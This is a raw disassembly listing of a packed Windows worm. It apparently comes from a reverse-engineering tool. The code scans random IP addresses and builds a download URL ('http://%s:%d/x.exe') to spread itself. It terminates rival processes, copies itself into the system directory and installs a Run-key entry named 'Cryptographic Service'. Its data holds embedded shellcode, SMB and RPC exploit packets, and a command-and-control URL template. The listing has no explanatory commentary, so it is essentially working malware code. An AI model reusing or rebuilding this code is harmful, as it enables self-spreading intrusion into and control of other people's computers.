R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432810 proc near ; DATA XREF: UPX0:314329E2o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx call sub_314320B6 call sub_31432559 test eax, eax jnz loc_314328C9 push ebx mov ebx, dword_3143109C push esi mov esi, dword_314310FC push edi loc_31432836: ; CODE XREF: sub_31432810+48j ; sub_31432810+B0j call esi ; rand mov byte ptr [ebp+var_4+1], al call esi ; rand mov byte ptr [ebp+var_4+3], al call esi ; rand mov byte ptr [ebp+var_4+2], al loc_31432845: ; CODE XREF: sub_31432810+3Cj call esi ; rand cmp al, 7Fh mov byte ptr [ebp+var_4], al jz short loc_31432845 call sub_314321B4 mov edi, [ebp+var_4] cmp edi, eax jz short loc_31432836 call sub_314321F3 test eax, eax jz short loc_314328A1 push offset dword_31435044 call dword_314310D8 ; InterlockedIncrement push edi call sub_314319BC test eax, eax pop ecx jnz short loc_314328A8 push edi push offset sub_31432728 call sub_3143210D pop ecx mov [ebp+var_8], 4 pop ecx loc_3143288D: ; CODE XREF: sub_31432810+8Dj push edi push offset sub_3143278A call sub_3143210D dec [ebp+var_8] pop ecx pop ecx jnz short loc_3143288D jmp short loc_314328A8 ; --------------------------------------------------------------------------- loc_314328A1: ; CODE XREF: sub_31432810+51j push 2710h call ebx ; Sleep loc_314328A8: ; CODE XREF: sub_31432810+67j ; sub_31432810+8Fj call esi ; rand mov ecx, dword_3143504C xor edx, edx div ecx add edx, ecx push edx call ebx ; Sleep call sub_31432559 test eax, eax jz loc_31432836 pop edi pop esi pop ebx loc_314328C9: ; CODE XREF: sub_31432810+11j push 0 call dword_314310D4 ; ExitThread xor eax, eax leave retn 4 sub_31432810 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314328D7 proc near ; CODE XREF: UPX0:314329A7p ; UPX0:loc_31432A0Dp var_50 = byte ptr -50h var_28 = byte ptr -28h push ebp mov ebp, esp sub esp, 50h push esi call sub_314321B4 push eax call dword_31431160 ; inet_ntoa mov esi, dword_31431068 push eax lea eax, [ebp+var_28] push eax call esi ; lstrcpy push dword_3143503C lea eax, [ebp+var_28] push eax lea eax, [ebp+var_50] push offset aHttpSDX_exe ; "http://%s:%d/x.exe" push eax call dword_31431120 ; wsprintfA add esp, 10h lea eax, [ebp+var_50] push eax push offset word_314342E2 call esi ; lstrcpy push offset byte_314342E0 call dword_31431088 ; lstrlen mov byte_314342E0[eax], 0DFh pop esi leave retn sub_314328D7 endp ; --------------------------------------------------------------------------- loc_31432933: ; DATA XREF: sub_3143256D+174o push ecx push ecx push ebx push ebp push esi xor ebx, ebx push edi mov dword_31435044, ebx call sub_314321F3 mov esi, dword_3143109C mov edi, 1388h test eax, eax jnz short loc_31432961 loc_31432955: ; CODE XREF: UPX0:3143295Fj push edi call esi ; Sleep call sub_314321F3 test eax, eax jz short loc_31432955 loc_31432961: ; CODE XREF: UPX0:31432953j lea eax, [esp+14h] push ebx push eax call dword_31431134 ; InternetGetConnectedState test byte ptr [esp+14h], 2 push 50h mov dword_31435048, ebx pop ebp mov dword_3143504C, 96h jz short loc_314329A0 mov dword_31435048, 1 mov ebp, 15Eh mov dword_3143504C, 14h loc_314329A0: ; CODE XREF: UPX0:31432985j call sub_314321B4 mov ebx, eax call sub_314328D7 cmp ebx, 100007Fh jz short loc_314329C1 push ebx push offset sub_31432728 call sub_3143210D pop ecx pop ecx loc_314329C1: ; CODE XREF: UPX0:314329B2j mov dword ptr [esp+10h], 4 loc_314329C9: ; CODE XREF: UPX0:314329DAj push ebx push offset sub_3143278A call sub_3143210D dec dword ptr [esp+18h] pop ecx pop ecx jnz short loc_314329C9 test ebp, ebp jle short loc_314329F1 loc_314329E0: ; CODE XREF: UPX0:314329EFj push 0 push offset sub_31432810 call sub_3143210D pop ecx dec ebp pop ecx jnz short loc_314329E0 loc_314329F1: ; CODE XREF: UPX0:314329DEj ; UPX0:314329FDj ... call sub_314321F3 test eax, eax jz short loc_314329FF push edi call esi ; Sleep jmp short loc_314329F1 ; --------------------------------------------------------------------------- loc_314329FF: ; CODE XREF: UPX0:314329F8j ; UPX0:31432A0Bj call sub_314321F3 test eax, eax jnz short loc_31432A0D push edi call esi ; Sleep jmp short loc_314329FF ; --------------------------------------------------------------------------- loc_31432A0D: ; CODE XREF: UPX0:31432A06j call sub_314328D7 jmp short loc_314329F1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432A14 proc near ; CODE XREF: sub_31432BAD+93p ; sub_31432D2E+11Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_3143100C ; RegOpenKeyExA test eax, eax jnz short loc_31432A47 push [ebp+arg_8] push [ebp+arg_4] call dword_31431010 ; RegDeleteValueA push [ebp+arg_4] call dword_31431014 ; RegCloseKey loc_31432A47: ; CODE XREF: sub_31432A14+1Cj pop ebp retn sub_31432A14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432A49 proc near ; CODE XREF: sub_3143141F+28Ep ; sub_3143237F+33p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_10] push esi mov [ebp+var_4], eax lea eax, [ebp+arg_10] push eax xor esi, esi push 0F003Fh push esi push [ebp+arg_4] push [ebp+arg_0] call dword_3143100C ; RegOpenKeyExA test eax, eax jz short loc_31432A75 push 1 pop eax jmp short loc_31432A9F ; --------------------------------------------------------------------------- loc_31432A75: ; CODE XREF: sub_31432A49+25j lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push [ebp+arg_C] push eax push esi push [ebp+arg_8] push [ebp+arg_10] call dword_31431008 ; RegQueryValueExA test eax, eax jz short loc_31432A94 push 2 pop esi loc_31432A94: ; CODE XREF: sub_31432A49+46j push [ebp+arg_10] call dword_31431014 ; RegCloseKey mov eax, esi loc_31432A9F: ; CODE XREF: sub_31432A49+2Aj pop esi leave retn sub_31432A49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432AA2 proc near ; CODE XREF: sub_3143141F+306p ; sub_31432C62+96p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi xor esi, esi lea eax, [ebp+arg_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push [ebp+arg_4] push [ebp+arg_0] call dword_31431000 ; RegCreateKeyExA test eax, eax jz short loc_31432ACB push 1 pop eax jmp short loc_31432AF2 ; --------------------------------------------------------------------------- loc_31432ACB: ; CODE XREF: sub_31432AA2+22j push [ebp+arg_10] push [ebp+arg_C] push 1 push esi push [ebp+arg_8] push [ebp+arg_4] call dword_31431004 ; RegSetValueExA test eax, eax jz short loc_31432AE7 push 2 pop esi loc_31432AE7: ; CODE XREF: sub_31432AA2+40j push [ebp+arg_4] call dword_31431014 ; RegCloseKey mov eax, esi loc_31432AF2: ; CODE XREF: sub_31432AA2+27j pop esi pop ebp retn sub_31432AA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432AF5 proc near ; CODE XREF: sub_31432BAD+9Fp var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx mov ebx, [ebp+arg_0] push esi push ebx call dword_31431088 ; lstrlen mov esi, eax dec esi test esi, esi jle loc_31432BA9 loc_31432B15: ; CODE XREF: sub_31432AF5+27j cmp byte ptr [esi+ebx], 5Ch jz short loc_31432B1E dec esi jns short loc_31432B15 loc_31432B1E: ; CODE XREF: sub_31432AF5+24j push 0 push 2 call sub_31432EFC ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_31432BA9 push 128h lea eax, [ebp+var_128] push 0 push eax call sub_31432EA6 ; memset add esp, 0Ch lea eax, [ebp+var_128] mov [ebp+var_128], 128h push eax push [ebp+arg_0] call sub_31432EF6 ; Process32First test eax, eax jz short loc_31432BA9 lea esi, [esi+ebx+1] loc_31432B66: ; CODE XREF: sub_31432AF5+B2j lea eax, [ebp+var_104] push eax push esi call dword_31431104 ; strstr pop ecx test eax, eax pop ecx jz short loc_31432B96 push [ebp+var_120] push 0 push 1F0FFFh call dword_314310B4 ; OpenProcess push 0 push eax call dword_31431060 ; TerminateProcess loc_31432B96: ; CODE XREF: sub_31432AF5+83j lea eax, [ebp+var_128] push eax push [ebp+arg_0] call sub_31432EF0 ; Process32Next test eax, eax jnz short loc_31432B66 loc_31432BA9: ; CODE XREF: sub_31432AF5+1Aj ; sub_31432AF5+38j ... pop esi pop ebx leave retn sub_31432AF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432BAD proc near ; CODE XREF: UPX0:31432536p var_13C = byte ptr -13Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push ebx push esi lea eax, [ebp+var_34] push edi mov [ebp+var_34], offset aWindowsSecurit ; "Windows Security Manager" mov [ebp+var_30], offset aDiskDefragment ; "Disk Defragmenter" mov [ebp+var_2C], offset aSystemRestoreS ; "System Restore Service" mov [ebp+var_28], offset aBotLoader ; "Bot Loader" mov [ebp+var_24], offset aSystray ; "SysTray" mov [ebp+var_20], offset aWinupdate ; "WinUpdate" mov [ebp+var_1C], offset aWindowsUpdateS ; "Windows Update Service" mov [ebp+var_18], offset aAvserve_exe ; "avserve.exe" mov [ebp+var_14], offset aAvserve2_exeup ; "avserve2.exeUpdate Service" mov [ebp+var_10], offset aMsConfigV13 ; "MS Config v13" mov [ebp+var_C], offset aWindowsUpdate ; "Windows Update" mov [ebp+var_4], eax mov [ebp+var_8], 0Bh mov edi, offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov esi, 80000002h loc_31432C1D: ; CODE XREF: sub_31432BAD+AEj mov eax, [ebp+var_4] push 104h mov ebx, [eax] lea eax, [ebp+var_13C] push eax push ebx push edi push esi call sub_31432A49 add esp, 14h test eax, eax jnz short loc_31432C54 push ebx push edi push esi call sub_31432A14 lea eax, [ebp+var_13C] push eax call sub_31432AF5 add esp, 10h loc_31432C54: ; CODE XREF: sub_31432BAD+8Ej add [ebp+var_4], 4 dec [ebp+var_8] jnz short loc_31432C1D pop edi pop esi pop ebx leave retn sub_31432BAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432C62 proc near ; CODE XREF: sub_31432D2E+D1p ; sub_31432D2E+132p var_78 = byte ptr -78h var_14 = byte ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 78h cmp [ebp+arg_0], 0 jz short loc_31432C77 push [ebp+arg_0] call dword_31431074 ; DeleteFileA loc_31432C77: ; CODE XREF: sub_31432C62+Aj lea eax, [ebp+var_78] push 63h push eax call dword_31431090 ; GetSystemDirectoryA test eax, eax jz locret_31432D2C push esi call dword_314310FC ; rand and eax, 3 add eax, 5 push eax lea eax, [ebp+var_14] push eax call sub_3143212E mov esi, dword_3143108C pop ecx pop ecx lea eax, [ebp+var_14] push offset dword_314341F0 push eax call esi ; lstrcat lea eax, [ebp+var_78] push offset dword_314341F8 push eax call esi ; lstrcat lea eax, [ebp+var_14] push eax lea eax, [ebp+var_78] push eax call esi ; lstrcat lea eax, [ebp+var_78] push 0 push eax push [ebp+arg_4] call dword_31431050 ; CopyFileA lea eax, [ebp+var_78] push eax call dword_31431088 ; lstrlen inc eax push eax lea eax, [ebp+var_78] push eax push offset aCryptographicS ; "Cryptographic Service" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_31432AA2 add esp, 14h push dword_31435034 call dword_31431080 ; CloseHandle lea eax, [ebp+var_78] push 0 push eax call dword_31431054 ; WinExec push 1F4h call dword_3143109C ; Sleep push 0 call dword_314310E4 ; ExitProcess pop esi locret_31432D2C: ; CODE XREF: sub_31432C62+23j leave retn sub_31432C62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432D2E proc near ; CODE XREF: UPX0:3143253Bp var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi lea eax, [ebp+var_84] push 63h push eax push 0 call dword_31431048 ; GetModuleFileNameA test eax, eax jz loc_31432E67 and dword_31435050, 0 lea eax, [ebp+var_20] push 1Dh push eax mov edi, offset aSoftwareMicr_1 ; "Software\\Microsoft\\Wireless" push offset aId ; "ID" mov esi, 80000002h push edi push esi call sub_31432A49 add esp, 14h test eax, eax jz short loc_31432DB4 call dword_314310FC ; rand push 0Ah mov ebx, offset aKklltovbhc ; "kklltovbhc" cdq pop ecx idiv ecx add edx, ecx push edx push ebx call sub_3143212E pop ecx pop ecx push ebx call dword_31431088 ; lstrlen inc eax push eax push ebx push offset aId ; "ID" push edi push esi call sub_31432AA2 add esp, 14h jmp short loc_31432DC3 ; --------------------------------------------------------------------------- loc_31432DB4: ; CODE XREF: sub_31432D2E+4Dj lea eax, [ebp+var_20] push eax push offset aKklltovbhc ; "kklltovbhc" call dword_31431068 ; lstrcpy loc_31432DC3: ; CODE XREF: sub_31432D2E+84j lea eax, [ebp+var_E8] push 63h push eax push offset aCryptographicS ; "Cryptographic Service" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi call sub_31432A49 add esp, 14h test eax, eax jz short loc_31432E09 push 2 push offset a1 ; "1" push offset aClient ; "Client" push edi push esi call sub_31432AA2 lea eax, [ebp+var_84] push eax push 0 call sub_31432C62 add esp, 1Ch jmp short loc_31432E67 ; --------------------------------------------------------------------------- loc_31432E09: ; CODE XREF: sub_31432D2E+B3j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call dword_3143104C ; lstrcmpi test eax, eax jnz short loc_31432E52 lea eax, [ebp+var_20] push 1Dh mov ebx, offset aClient ; "Client" push eax push ebx push edi push esi call sub_31432A49 add esp, 14h test eax, eax jnz short loc_31432E67 push ebx push edi push esi mov dword_31435050, 1 call sub_31432A14 add esp, 0Ch jmp short loc_31432E67 ; --------------------------------------------------------------------------- loc_31432E52: ; CODE XREF: sub_31432D2E+F1j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call sub_31432C62 pop ecx pop ecx loc_31432E67: ; CODE XREF: sub_31432D2E+1Fj ; sub_31432D2E+D9j ... pop edi pop esi pop ebx leave retn sub_31432D2E endp ; =============== S U B R O U T I N E ======================================= sub_31432E6C proc near ; CODE XREF: sub_314311A0+CAp ; sub_31431782+11p ... arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call dword_31431044 ; VirtualAlloc retn sub_31432E6C endp ; =============== S U B R O U T I N E ======================================= sub_31432E80 proc near ; CODE XREF: sub_314311A0+10Bp ; sub_31431782+C0p arg_0 = dword ptr 4 push 8000h push 0 push [esp+8+arg_0] call dword_31431040 ; VirtualFree retn sub_31432E80 endp ; --------------------------------------------------------------------------- align 10h loc_31432EA0: ; DATA XREF: sub_3143141F+Ao ; sub_3143256D+Ao jmp dword ptr loc_31431100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EA6 proc near ; CODE XREF: sub_314319BC+128p ; sub_314319BC+134p ... jmp dword_314310F8 sub_31432EA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EAC proc near ; CODE XREF: sub_314319BC+9Cp ; sub_314319BC+C5p ... jmp dword_314310F4 sub_31432EAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EB2 proc near ; CODE XREF: sub_314319BC+93p ; sub_314319BC+B2p ... jmp dword_314310F0 sub_31432EB2 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_31432EC0 proc near ; CODE XREF: sub_314319BC+8p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_31432EE0 loc_31432ECC: ; CODE XREF: sub_31432EC0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_31432ECC loc_31432EE0: ; CODE XREF: sub_31432EC0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_31432EC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EF0 proc near ; CODE XREF: sub_31432AF5+ABp jmp dword_31431064 sub_31432EF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EF6 proc near ; CODE XREF: sub_31432AF5+64p jmp dword_3143105C sub_31432EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EFC proc near ; CODE XREF: sub_31432AF5+2Dp jmp dword_31431058 sub_31432EFC endp ; --------------------------------------------------------------------------- db 2 dup(0CCh) dd 43Fh dup(0) dword_31434000 dd 206h, 2400h, 31415352h, 180h, 10001h, 11838DF5h, 2AEC5279h ; DATA XREF: sub_3143141F+11Do ; sub_3143141F+20Fo dd 0E7F63AE4h, 0E0EA9B49h, 0DB21AFBEh, 1A95447Eh, 0A032615Eh dd 9F6A1F85h, 3994FF94h, 8F26A684h, 5C1DCE35h, 0B20BC9A5h dd 3072657Ah, 0 aMozilla4_0Co_0 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_31431782+84o align 10h byte_31434080 db 0 ; DATA XREF: sub_3143185D+1Br off_31434081 dd offset dword_314341E4 ; DATA XREF: sub_3143185D+23r align 2 dd offset dword_314341D4 dw 0C401h dd 1314341h, 314341B4h, 4341A000h, 41900131h, 80013143h dd 314341h, 31434174h, 43416800h, 41580131h, 48003143h dd 1314341h, 3143413Ch, 43417400h, 41D40131h, 30003143h dd 314341h, 314341D4h, 43412001h, 41480031h, 10013143h dd 314341h, 31434130h, 43410001h, 40F80131h, 74003143h dd 314341h, 31434130h, 2E767663h, 7572h, 2E777777h, 6C646572h dd 2E656E69h, 7572h, 656C6966h, 72616573h, 722E6863h, 75h dd 6F626F72h, 61686378h, 2E65676Eh, 6D6F63h, 68746566h dd 2E647261h, 7A6962h, 63657361h, 2E616B68h, 7572h, 7473616Dh dd 782D7265h, 6D6F632Eh, 0 dd 6F6C6F63h, 61622D72h, 722E6B6Eh, 75h, 6B76616Bh, 742E7A61h dd 76h, 74757263h, 6E2E706Fh, 75h, 6F64696Bh, 61622D73h dd 722E6B6Eh, 75h, 65726170h, 61622D78h, 722E6B6Eh, 75h dd 6C756461h, 6D652D74h, 65726970h, 6D6F632Eh, 0 dd 666E6F6Bh, 616B7369h, 726F2E74h, 67h, 69746963h, 6E61622Dh dd 75722E6Bh, 0 dword_314341D4 dd 72617778h, 6A632E65h, 656E2E62h, 74h ; DATA XREF: UPX0:31434086o dword_314341E4 dd 617A616Dh, 616B6166h, 75722Eh ; DATA XREF: UPX0:off_31434081o dword_314341F0 dd 6578652Eh, 0 ; DATA XREF: sub_314311A0+75o ; sub_31432239+55o ... dword_314341F8 dd 5Ch ; DATA XREF: sub_314311A0+49o ; sub_31432C62+56o aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_314311A0+13o align 10h aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_31431313+1Co align 4 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_31431313+Co align 4 aD db '%d',0 ; DATA XREF: sub_3143141F+2CCo align 4 dword_3143426C dd 444952h ; DATA XREF: sub_3143141F+266r aSoftwareMicros db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_3143141F+259o aZer1 db 'zer1',0 ; DATA XREF: sub_3143141F:loc_314315B7o align 4 aZer0 db 'zer0',0 ; DATA XREF: sub_3143141F+34o align 4 aHttpS db 'http://%s',0 ; DATA XREF: sub_31431782+71o align 4 aHttpSIndex_php db 'http://%s/index.php?id=%s&scn=%d&inf=%d&ver=20&cnt=%s',0 ; DATA XREF: sub_31431782+57o align 10h byte_314342E0 db 0EBh ; DATA XREF: sub_314319BC+24Eo ; sub_314319BC+260o ... db 58h word_314342E2 dw 7468h ; DATA XREF: sub_314328D7+40o dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h dd 6578652Eh, 4 dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h dd 302E342Fh, 0C9335DDFh, 1EEB966h, 8B05758Dh, 3C068AFEh dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h, 0DAE80AEBh dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C071C9h, 0C999C999h dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B371C999h dd 99C99998h, 0E3F367C9h, 0DC1C10F0h, 99C99998h, 0C959B2C9h dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A10414D9h, 99C99998h dd 9E71CAC9h, 99C99998h, 61688DC9h, 0AD1C1091h, 99C99998h dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h, 98F3C8C8h dd 0C957DC14h, 0C9992571h, 0C999C999h, 91C0A44Eh, 59924912h dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993B71CBh, 99C999C9h dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch dd 9998DC2Ch, 0C9C999C9h, 0C9991E71h, 0C999C999h, 83B8B0FBh dd 5D12CDC3h, 0C9C999F3h, 0DC2C66CBh, 99C99998h, 0AD2C66C9h dd 99C99998h, 990B71C9h, 99C999C9h, 0A6485AC9h, 2C66C096h dd 0C99998ADh, 1B71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h dd 98A10414h, 0C999C999h, 99E971CAh, 99C999C9h, 26F434C9h dd 0C999F371h, 0C999FC71h, 0C999C999h, 0EF133BF9h, 376B4629h dd 9966DE5Fh, 0A8EC5AC9h, 99C999A0h, 99C999C9h, 0B7C999C9h dd 0E9EDFFC5h, 0B7FDE9ECh, 99FCE1FCh, 6 dup(99C999C9h) dd 0FCF5CAC9h, 0C999E9FCh, 0F7EBFCF2h, 0ABAAF5FCh, 34C7C999h dd 0B459AAF9h, 662A2A25h, 9093ACC9h, 9CC9B781h, 83639D90h dd 9271CDC9h, 0C999C999h, 19BFC999h, 0FD145135h, 720A95BDh dd 0F934C791h, 0C999C871h, 0C999C999h, 12A5D212h, 9AE180D5h dd 146FAA52h, 0C89A2A8Dh, 9A8B12B9h, 5859AA4Ah, 9BAB9E59h dd 99A319DBh, 0A26CECC9h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h dd 9ABDC812h, 8D2E964Ah, 85D812EBh, 9D125A9Ah, 105A9A09h dd 0F885BDDDh, 98D01C10h, 0C999C999h, 7F664966h, 8712FEFDh dd 12C999A9h, 0C21295C2h, 12821285h, 0B75A91C2h, 0B7FDF7FCh dd 0 dword_314345A8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_314319BC+186o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_31434634 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+1BAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_314346E0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+1EEo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_314347C0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+8Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_314319BC+BFo unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_31434824 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+2D4o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_31434890 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+308o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_31434934 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+4EEo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dword_314349B4 dd 401495h, 3, 40707Ch, 1, 0 ; DATA XREF: sub_314319BC+51Co dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_31434A48 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+347o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_31434AB4 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+372o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_31434B28 dd 0 ; DATA XREF: sub_314319BC+3A0o dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 3 dup(0) dd 586E6957h, 72502050h, 6Fh, 9 dup(0) db 2 dup(0) dword_31434BE6 dd 1004600h ; DATA XREF: sub_314319BC+289r dw 1 dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0) dword_31434C20 dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0) ; DATA XREF: sub_314319BC+41Bo ; sub_314319BC+45Do dd 123C0000h, 751Ch, 0Eh dup(0) ; --------------------------------------------------------------------------- loc_31434C98: ; DATA XREF: sub_314319BC+44Ao jmp short loc_31434CA0 ; --------------------------------------------------------------------------- jmp 